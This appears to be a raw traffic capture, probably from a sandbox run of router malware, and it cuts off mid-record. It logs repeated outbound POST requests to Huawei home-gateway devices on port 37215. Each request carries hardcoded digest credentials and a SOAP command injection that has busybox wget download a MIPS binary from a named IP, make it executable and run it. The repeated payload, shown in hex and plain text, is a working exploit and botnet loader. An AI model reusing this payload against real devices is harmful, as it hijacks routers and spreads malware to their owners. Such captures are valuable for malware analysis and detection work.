Jun 10, 2024 15:38:03.988042116 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1165	192.168.2.13	51220	197.193.96.32	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.990691900 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1166	192.168.2.13	41996	41.174.142.181	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.993520975 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1167	192.168.2.13	52472	41.194.139.112	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.997106075 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1168	192.168.2.13	59520	156.132.151.218	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.999381065 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1169	192.168.2.13	56940	41.93.164.40	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:04.001552105 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1170	192.168.2.13	60256	197.19.205.89	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:04.004705906 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1171	192.168.2.13	48456	156.87.191.167	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:04.008696079 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1172	192.168.2.13	36754	41.249.53.8	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:04.013252974 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1173	192.168.2.13	46728	41.104.167.217	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:04.018023014 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1174	192.168.2.13	54530	41.165.163.166	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:04.021718979 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 